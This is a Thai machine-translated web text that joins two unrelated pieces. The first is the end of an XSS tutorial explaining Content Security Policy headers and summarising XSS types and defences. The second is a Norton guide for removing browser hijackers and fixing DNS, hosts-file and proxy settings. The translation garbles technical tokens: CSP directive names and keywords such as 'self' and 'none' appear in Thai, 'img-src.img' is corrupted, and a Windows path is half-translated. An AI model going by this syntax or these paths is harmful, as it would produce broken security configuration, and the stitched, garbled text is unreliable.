    แม้ว่าผู้โจมตีจะแทรกโค้ดภายในโค้ดสคริปต์แทนที่จะเป็นลิงก์ไปยังไฟล์ภายนอก นโยบาย CSP ที่กำหนดค่าอย่างเหมาะสมจะป้องกันการแทรกลงในโค้ด JavaScript ป้องกันช่องโหว่และก่อให้เกิดอันตรายใดๆ

    จะเปิดใช้งาน CSP ได้อย่างไร?

    ตามค่าเริ่มต้น เบราว์เซอร์จะไม่ใช้ CSP เพื่อเปิดใช้งาน SCP บนเว็บไซต์ของคุณ หน้าเว็บจะต้องมีส่วนหัว HTTP เพิ่มเติม: Content‑Security‑Policy หน้าใดๆ ที่มีส่วนหัวนี้จะบังคับใช้นโยบายความปลอดภัยเมื่อโหลดโดยเบราว์เซอร์ โดยที่เบราว์เซอร์รองรับ CSP

    เนื่องจากนโยบายความปลอดภัยถูกส่งไปพร้อมกับทุกการตอบสนองของ HTTP จึงเป็นไปได้ที่เซิร์ฟเวอร์จะตั้งค่านโยบายแยกกันสำหรับแต่ละหน้า นโยบายเดียวกันนี้สามารถนำไปใช้กับทั้งเว็บไซต์ได้โดยการแทรกส่วนหัว CSP เดียวกันในการตอบกลับทุกครั้ง

    ค่าในส่วนหัว Content‑Security‑Policy มีสตริงที่กำหนดนโยบายความปลอดภัยอย่างน้อยหนึ่งนโยบายที่จะทำงานบนไซต์ของคุณ ไวยากรณ์ของบรรทัดนี้จะอธิบายไว้ด้านล่าง

    ตัวอย่างหัวข้อในส่วนนี้ใช้การแบ่งบรรทัดและการเยื้องเพื่อความสะดวกในการอ้างอิง ไม่ควรปรากฏในชื่อจริง

    ไวยากรณ์ของ CSP

    ไวยากรณ์ส่วนหัว CSP เป็นดังนี้:

    นโยบายความปลอดภัยเนื้อหา:
    คำสั่ง แหล่งที่มา-การแสดงออก, แหล่งที่มา-การแสดงออก, ...;
    คำสั่ง ...;
    ...

    ไวยากรณ์นี้ประกอบด้วยสององค์ประกอบ:

    • คำสั่งคือสตริงที่ระบุประเภทของทรัพยากรที่นำมาจากรายการที่กำหนด
    • นิพจน์แหล่งที่มาเป็นแบบจำลองที่อธิบายเซิร์ฟเวอร์ตั้งแต่หนึ่งเครื่องขึ้นไปที่สามารถโหลดทรัพยากรได้

    สำหรับแต่ละคำสั่ง ข้อมูลในนิพจน์แหล่งที่มาจะระบุว่าแหล่งข้อมูลใดที่สามารถใช้เพื่อโหลดทรัพยากรประเภทที่เกี่ยวข้องได้

    คำสั่ง

    คำสั่งต่อไปนี้สามารถใช้ได้ในส่วนหัว CSP:

    • เชื่อมต่อ-src
    • แบบอักษร-src
    • กรอบ-src
    • img-src.img
    • สื่อ-src
    • วัตถุ-src
    • สคริปต์-src
    • สไตล์-src

    นอกจากนี้ สามารถใช้คำสั่ง default-src พิเศษเพื่อจัดเตรียมค่าเริ่มต้นสำหรับคำสั่งทั้งหมดที่ไม่รวมอยู่ในส่วนหัว

    การแสดงออกแหล่งที่มา

    ไวยากรณ์สำหรับการสร้างนิพจน์ต้นทางมีดังนี้:

    โปรโตคอล: // ชื่อโฮสต์: หมายเลขพอร์ต

    ชื่อโฮสต์สามารถขึ้นต้นด้วย * ซึ่งหมายความว่าโดเมนย่อยใดๆ ของชื่อโฮสต์ที่ระบุจะได้รับการแก้ไข ในทำนองเดียวกัน หมายเลขพอร์ตสามารถแสดงเป็น * ซึ่งหมายความว่าทุกพอร์ตจะได้รับอนุญาต นอกจากนี้ โปรโตคอลและหมายเลขพอร์ตอาจถูกละเว้น หากไม่มีการระบุโปรโตคอล นโยบายจะกำหนดให้โหลดทรัพยากรทั้งหมดโดยใช้ HTTPS

    นอกเหนือจากไวยากรณ์ด้านบนแล้ว นิพจน์ต้นฉบับยังสามารถเป็นหนึ่งในสี่รายการได้อีกด้วย คำหลักที่มีความหมายพิเศษ (รวมคำพูด):

    "ไม่มี" ปิดการใช้งานทรัพยากร "ตนเอง" อนุญาตทรัพยากรจากโฮสต์ที่หน้าเว็บนั้นตั้งอยู่ "unsafe-inline" แก้ไขทรัพยากรที่มีอยู่ในหน้าเป็นองค์ประกอบแบบอินไลน์ องค์ประกอบ และ javascript: URL "unsafe-eval" เปิดใช้งานฟังก์ชัน JavaScript eval

    โปรดทราบว่าเมื่อใดก็ตามที่มีการใช้ CSP ทรัพยากรในตัวและการประเมินจะถูกปิดใช้งานโดยอัตโนมัติตามค่าเริ่มต้น การใช้ "unsafe-inline" และ "unsafe-eval" — วิธีเดียวเท่านั้นสำหรับการใช้งาน

    นโยบายตัวอย่าง

    นโยบายความปลอดภัยเนื้อหา:
    script-src "ตัวเอง" scripts.example.com;
    สื่อ ‑ src "ไม่มี";
    img-src *;
    ค่าเริ่มต้น src "ตนเอง" http://*.example.com

    ด้วยนโยบายตัวอย่างนี้ เว็บเพจจะมีข้อจำกัดดังต่อไปนี้:

    • สามารถดาวน์โหลดสคริปต์ได้จากโฮสต์ที่หน้าเว็บนั้นตั้งอยู่และจากที่อยู่นี้: scripts.example.com
    • ห้ามดาวน์โหลดไฟล์เสียงและวิดีโอ
    • สามารถดาวน์โหลดไฟล์ภาพได้จากที่อยู่ใดก็ได้
    • ทรัพยากรอื่นๆ ทั้งหมดสามารถโหลดได้จากโฮสต์ที่หน้าเว็บนั้นตั้งอยู่และจากโดเมนย่อยใดๆ ของ example.com เท่านั้น
    สถานะคสช

    ในเดือนมิถุนายน 2013 นโยบายความปลอดภัยของเนื้อหาได้รับการแนะนำโดยกลุ่ม W3C นักพัฒนาเบราว์เซอร์ใช้งาน CSP แต่บางส่วนมีไว้สำหรับเบราว์เซอร์โดยเฉพาะ เบราว์เซอร์ที่แตกต่างกัน. ตัวอย่างเช่น การใช้ส่วนหัว HTTP อาจแตกต่างกันระหว่างเบราว์เซอร์ ก่อนใช้ CSP โปรดอ่านเอกสารประกอบของเบราว์เซอร์ที่คุณวางแผนจะรองรับ

    สรุปโดยสรุป: ภาพรวม XSS
    • การโจมตี XSS คือการโจมตีด้วยการแทรกโค้ดที่เกิดขึ้นจากการประมวลผลอินพุตของผู้ใช้ที่ไม่ปลอดภัย
    • การโจมตี XSS ที่ประสบความสำเร็จทำให้ผู้โจมตีสามารถรัน JavaScript ที่เป็นอันตรายในเบราว์เซอร์ของเหยื่อได้
    • การโจมตี XSS ที่ประสบความสำเร็จจะกระทบต่อความปลอดภัยของทั้งเว็บไซต์และผู้ใช้
    สรุป: การโจมตี XSS
    • การโจมตี XSS มีสามประเภทหลัก:
      • XSS ที่เก็บไว้ โดยที่อินพุตที่เป็นอันตรายมาจากฐานข้อมูลของเว็บไซต์
      • XSS ที่สะท้อนให้เห็น โดยที่อินพุตที่เป็นอันตรายมาจากคำขอของเหยื่อ
      • การโจมตี XSS ใน DOM โดยที่ช่องโหว่ถูกหาประโยชน์ในโค้ดบนฝั่งไคลเอ็นต์ ไม่ใช่บนฝั่งเซิร์ฟเวอร์
    • การโจมตีทั้งหมดนี้ดำเนินการแตกต่างกัน แต่จะมีผลเช่นเดียวกันหากสำเร็จ
    สรุป: การป้องกัน XSS
    • วิธีที่สำคัญที่สุดในการป้องกันการโจมตี XSS คือการประมวลผลอินพุตที่ปลอดภัย
      • ต้องทำการเข้ารหัสทุกครั้งที่เปิดใช้งานการป้อนข้อมูลของผู้ใช้บนเพจ
      • ในบางกรณี การเข้ารหัสจะต้องถูกแทนที่หรือเสริมด้วยการตรวจสอบความถูกต้อง
      • การจัดการอินพุตที่ปลอดภัยจะต้องคำนึงถึงบริบทของเพจที่อินพุตของผู้ใช้ถูกแทรกเข้าไป
      • เพื่อป้องกันการโจมตี XSS ทุกประเภท การประมวลผลอินพุตที่ปลอดภัยจะต้องดำเนินการทั้งในโค้ดฝั่งไคลเอ็นต์และฝั่งเซิร์ฟเวอร์
    • นโยบายความปลอดภัยของเนื้อหา (CSP) มอบการป้องกันเพิ่มเติมอีกชั้นในกรณีที่การประมวลผลอินพุตที่ปลอดภัยมีข้อผิดพลาด
    ภาคผนวกคำศัพท์

    ควรสังเกตว่ามีการครอสโอเวอร์ในคำศัพท์ที่ใช้อธิบาย XSS: การโจมตี XSS ใน DOM สามารถจัดเก็บหรือสะท้อนกลับได้ การโจมตีเหล่านี้ไม่ใช่การโจมตีแบบแยกประเภท ไม่มีคำศัพท์ที่ยอมรับกันโดยทั่วไปซึ่งครอบคลุม XSS ทุกประเภทโดยไม่เกิดความสับสน ไม่ว่าคำศัพท์ที่ใช้อธิบาย XSS จะเป็นอย่างไร สิ่งที่สำคัญที่สุดคือการกำหนดประเภทของการโจมตี ซึ่งเป็นไปได้หากคุณทราบว่าอินพุตที่เป็นอันตรายมาจากไหน และตำแหน่งของช่องโหว่อยู่ที่ไหน

    สิทธิ์การใช้งานและลิงก์

    ซอร์สโค้ดสำหรับ XSS ส่วนเกินมีอยู่ใน GitHub

    XSS ส่วนเกินถูกสร้างขึ้นในปี 2013 โดยเป็นส่วนหนึ่งของหลักสูตร Language-Based Security ที่ Chalmers University of Technology

    การแปลเป็นภาษารัสเซียดำเนินการโดย A888R ข้อความต้นฉบับใน ภาษาอังกฤษ:ส่วนเกิน-xss.com ส่งความคิดเห็น คำแนะนำ และข้อผิดพลาดในการแปลได้ที่นี่

    ปัญหานี้อาจเกิดจากมัลแวร์ที่ฝังอยู่ในเบราว์เซอร์ มัลแวร์ประเภทนี้มีวัตถุประสงค์เพื่อเปลี่ยนการตั้งค่าเบราว์เซอร์ สถานการณ์ใด ๆ ต่อไปนี้อาจเกิดขึ้น:

    หากคุณเห็นป๊อปอัปบนหน้าจอพร้อมลิงก์ไปยังเว็บไซต์สนับสนุนของบุคคลที่สาม หรือหากคุณเชื่อว่าคุณถูกหลอกลวง โปรดอ่านบทความนี้

    ทำการสแกน Norton Power Eraser - สแกนหาแอพพลิเคชั่นที่ไม่ต้องการ

    เลือกเดสก์ท็อปเป็นตำแหน่งแล้วคลิกปุ่มบันทึก

    หากต้องการเปิดใช้งาน Norton Power Eraser ให้คลิกสองครั้งที่ไฟล์ NPE.exe

    หากมีหน้าต่างปรากฏขึ้น

    สแกนหาแอปพลิเคชันที่ไม่ต้องการ

    ผลลัพธ์การสแกน Norton Power Eraser จะแสดงขึ้นในหน้าต่าง

    ในหน้าต่าง Scan for Unwanted Applications Completed ให้คลิกปุ่ม Remove ที่อยู่ติดกัน แอปพลิเคชันที่ไม่ต้องการหรือแถบเครื่องมือ

    ทำตามคำแนะนำบนหน้าจอ

    หลังจากกระบวนการถอนการติดตั้งเสร็จสิ้น ให้รีสตาร์ทคอมพิวเตอร์ของคุณ

    หาก Norton Power Eraser ไม่สามารถลบแถบเครื่องมือที่ไม่ต้องการได้ ให้ลบแถบเครื่องมือที่ไม่ต้องการด้วยตนเองโดยใช้ Add or Remove Programs หรือ Uninstall a Program from Toolbar โดยทั่วไปแอดแวร์จะติดตั้งแถบเครื่องมือใหม่ในเบราว์เซอร์และเปลี่ยนบริการค้นหาเริ่มต้น หากต้องการลบแถบเครื่องมือและบริการค้นหาที่ไม่ต้องการออกโดยสมบูรณ์ คุณต้องรีเซ็ตเว็บเบราว์เซอร์ของคุณ

    เปิดตัว Internet Explorer

    จากเมนูเครื่องมือ เลือกจัดการส่วนเสริม

    ในหน้าต่าง Add-ons เลือกแถบเครื่องมือและส่วนขยายภายใต้ประเภท Add-on

    หากรายการที่แสดงมีแถบเครื่องมือที่น่าสงสัย ให้เลือกแล้วคลิกปุ่มปิดการใช้งาน

    ในหน้าต่าง Add-on ให้เลือก Search Providers ภายใต้ประเภท Add-on

    เลือกบริการค้นหาแล้วคลิกตั้งเป็นค่าเริ่มต้น

    เลือกบริการค้นหาที่ไม่รู้จักแล้วคลิกลบและปิด

    จากเมนูเครื่องมือ เลือก ตัวเลือกอินเทอร์เน็ต

    บนแท็บทั่วไปในส่วน หน้าแรกกรอกที่อยู่โฮมเพจที่คุณต้องการ

    คลิกปุ่มใช้และตกลง

    บนเดสก์ท็อปของคุณ คลิก คลิกขวาไอคอน Internet Explorer และเลือก Properties

    ในหน้าต่างคุณสมบัติ Internet Explorer บนแท็บทางลัด ให้ลบข้อความหลัง iexplore.exe ในฟิลด์เป้าหมาย

    คลิกนำไปใช้และตกลงเพื่อบันทึกการเปลี่ยนแปลง

    คลิกปุ่มปิด

    วิ่ง Google Chrome.

    ที่มุมขวาบน คลิกไอคอนปรับแต่งและควบคุม Google Chrome จากนั้นเลือกการตั้งค่า

    ในบานหน้าต่าง Chrome คลิกส่วนขยาย

    ในหน้าต่างส่วนขยาย ให้เลือกส่วนขยายที่ไม่รู้จักแล้วคลิกไอคอนถังขยะ

    ในบานหน้าต่าง Chrome คลิกการตั้งค่า

    ในหน้าต่างการตั้งค่า เลือกหน้าถัดไปภายใต้กลุ่มเริ่ม

    ในหน้าต่าง หน้าแรกเลือกรายการที่น่าสงสัยแล้วคลิกไอคอน X

    คลิกปุ่มตกลง

    ในหน้าต่างการตั้งค่า เลือกแสดงปุ่ม " หน้าแรก“ในบทที่ รูปร่างและคลิกแก้ไข

    ในหน้าต่างโฮมเพจ ให้เลือกเพจ เข้าถึงได้อย่างรวดเร็วและคลิกปุ่มตกลง

    ในหน้าต่างการตั้งค่า คลิกในส่วนการค้นหา

    ในหน้าต่างเครื่องมือค้นหา ให้เลือกเครื่องมือค้นหาที่คุณต้องการแล้วคลิก ตั้งเป็นค่าเริ่มต้น

    ในรายการการตั้งค่าการค้นหาเริ่มต้น เลือกผู้ให้บริการค้นหาที่ไม่รู้จัก และคลิกไอคอน X

    คลิกปุ่มเสร็จสิ้น

    เปิดตัวไฟร์ฟอกซ์

    ที่มุมขวาบน คลิกไอคอนเมนูเปิด และเลือกส่วนเสริม

    ในหน้าจัดการ Add-on ให้เลือกส่วนขยาย

    ตรวจสอบรายการส่วนขยายเพื่อดูรายการที่น่าสงสัย หากเป็นเช่นนั้น ให้เลือกส่วนขยายแล้วคลิกปิดใช้งาน

    คลิกไอคอนเมนูเปิด และเลือกการตั้งค่า

    บนแท็บพื้นฐานของหน้าต่างการตั้งค่า ให้คลิกปุ่มคืนค่าเริ่มต้น

    คลิกปุ่มตกลง

    ในหน้าต่าง Firefox คลิกไอคอนลูกศรลงถัดจากช่อง URL และเลือกจัดการเครื่องมือค้นหา

    ในหน้าต่างการจัดการรายการ เครื่องมือค้นหาเลือกบริการค้นหาที่ไม่รู้จักแล้วคลิกปุ่มลบ

    คลิกปุ่มตกลง

    ทำการสแกน Norton Power Eraser

    ดับเบิลคลิก NPE.exe เพื่อเปิด Norton Power Eraser

    หากหน้าต่าง User Account Control ปรากฏขึ้น ให้คลิก Yes หรือ Continue

    ตรวจสอบเงื่อนไขของข้อตกลงใบอนุญาตแล้วคลิกยอมรับ

    ในหน้าต่าง Norton Power Eraser คลิกไอคอนสแกนหาภัยคุกคาม

    ตามค่าเริ่มต้น Norton Power Eraser จะสแกนระบบของคุณเพื่อหารูทคิทและแจ้งให้คุณรีบูตระบบ เมื่อได้รับแจ้งให้รีบูตระบบ ให้คลิกปุ่ม Reboot หากต้องการยกเลิกการสแกนหารูทคิท ให้เลือก

    หลังจากที่คุณรีสตาร์ทคอมพิวเตอร์ กระบวนการสแกนจะเริ่มต้นโดยอัตโนมัติ ทำตามคำแนะนำบนหน้าจอ

    รอผลการสแกน

    วิดีโอ ต้องการความช่วยเหลือเพิ่มเติมหรือไม่? ตรวจสอบการตั้งค่า DNS ที่ไม่ถูกต้อง

    ควบคุม

    คลิกไอคอนเครือข่ายและอินเทอร์เน็ต จากนั้นคลิกศูนย์เครือข่ายและการใช้ร่วมกัน ในบานหน้าต่างด้านซ้าย คลิกเปลี่ยนการตั้งค่าอะแดปเตอร์

    บน Windows XP: ดับเบิลคลิกที่ไอคอน Network Connections

    คลิกขวาที่อะแดปเตอร์เครือข่ายที่ใช้งานอยู่ในปัจจุบัน จากนั้นคลิก Properties

    หากพรอมต์การควบคุมบัญชีผู้ใช้ปรากฏขึ้น คลิกใช่หรือดำเนินการต่อ

    ในหน้าต่าง Network Connection Properties ใต้ "การเชื่อมต่อนี้ใช้รายการต่อไปนี้" ให้คลิก Internet Protocol (TCP/IP) หรือ Internet Protocol Version 4 (TCP/IPv4)

    คลิกคุณสมบัติ

    ในหน้าต่างคุณสมบัติอินเทอร์เน็ตโปรโตคอล (TCP/IP) บนแท็บทั่วไป ให้ตรวจสอบการตั้งค่าเซิร์ฟเวอร์ DNS

    • หากเลือกปุ่มตัวเลือก ใช้ที่อยู่เซิร์ฟเวอร์ DNS ต่อไปนี้ ให้ตรวจสอบที่อยู่เซิร์ฟเวอร์ ตรวจสอบให้แน่ใจว่าที่อยู่เซิร์ฟเวอร์ DNS ที่แสดงนั้นเหมือนกันกับที่ผู้ให้บริการอินเทอร์เน็ตหรือผู้ดูแลระบบเครือข่ายของคุณมอบให้คุณ

      หากที่อยู่เซิร์ฟเวอร์ DNS เริ่มต้นด้วย 85.255.11x.x มีแนวโน้มว่าแคช DNS จะได้รับผลกระทบอันเป็นผลมาจากการโจมตีทาง Pharming

    แก้ไขไม่ถูกต้อง โฮสต์ Windowsการตั้งค่าไฟล์

    กดปุ่ม Windows + R เพื่อเปิดกล่องโต้ตอบเรียกใช้

    พิมพ์ข้อความต่อไปนี้ จากนั้นกด Enter

    C:\Windows\System32\ไดรเวอร์\ฯลฯ

    เปลี่ยนอักษรระบุไดรฟ์หากไม่ใช่ C : drive ระบบขับ.

    สำหรับแต่ละไฟล์ Hosts ที่คุณพบ ให้คลิกขวาที่ไฟล์ จากนั้นคลิก Open With หรือ Open

    ดับเบิลคลิก Notepad จากรายการโปรแกรม

    ลบบรรทัดใด ๆ ที่ปรากฏในไฟล์โฮสต์ของคุณโดยไม่มี # ที่จุดเริ่มต้น ยกเว้นบรรทัด "127.0.0.1 localhost"

    บนเมนูไฟล์ เลือกบันทึก

    ตรวจสอบว่า คุณสามารถเข้าถึงอินเทอร์เน็ต

    แก้ไขการตั้งค่าพร็อกซีที่ไม่ถูกต้อง

    หากคุณไม่ได้กำหนดค่าคอมพิวเตอร์ให้ใช้พรอกซีสำหรับการเชื่อมต่ออินเทอร์เน็ต คุณสามารถข้ามขั้นตอนนี้ได้

    เริ่ม Internet Explorer

    บนเมนูเครื่องมือ เลือก ตัวเลือกอินเทอร์เน็ต

    บนแท็บการเชื่อมต่อ คลิกการตั้งค่า LAN

    ตรวจสอบว่าการตั้งค่าพร็อกซีของคุณถูกต้อง เลือกทำอย่างใดอย่างหนึ่งต่อไปนี้:

    หากการตั้งค่าพร็อกซีไม่ถูกต้อง ตรวจสอบให้แน่ใจว่าคุณป้อนการตั้งค่าพร็อกซีที่ถูกต้อง

    หากการตั้งค่าพร็อกซีถูกต้อง ให้ปิดใช้งานพร็อกซีชั่วคราว ยกเลิกการเลือกใช้พร็อกซีเซิร์ฟเวอร์สำหรับ LAN ของคุณ

    ในหน้าต่าง Internet Options คลิก Apply > OK

    ถอนการติดตั้งหรือปิดการใช้งานแถบเครื่องมือที่ไม่รู้จัก

    หากคุณต้องการลบแถบเครื่องมือออกทั้งหมด คุณสามารถใช้ Add/Remove Programs หรือ Uninstall a Program ใน Control Panel ได้

    เริ่ม Internet Explorer

    บนเมนูเครื่องมือ คลิกจัดการ Add-on

    หากคุณพบแถบเครื่องมือที่ไม่รู้จักในรายการ ให้เลือกแถบเครื่องมือ จากนั้นคลิก ปิดใช้งาน

    คลิกปิด

    หากปัญหายังคงอยู่ ให้ไปที่ขั้นตอนที่ 5

    เรียกใช้การสแกนโดยใช้ Norton Power Eraser

    บันทึกไฟล์ไปยังเดสก์ท็อป Windows

    เปิดกล่องโต้ตอบเรียกใช้ Windows (ปุ่ม Windows + R)

    ลาก และวาง NPE.exe ลงในช่อง run ซึ่งจะเติมข้อมูลด้วยเส้นทางแบบเต็มโดยอัตโนมัติ เพิ่มสวิตช์ต่อไปนี้ที่ท้ายบรรทัด:

    เส้นวิ่งควรมีลักษณะดังนี้:

    "C:\Documents and Settings\user_name\Desktop\NPE.exe" /VSS 111

    คลิกตกลง

  • หากการสแกนเรียบร้อยดี ให้ไปที่ขั้นตอนที่ 6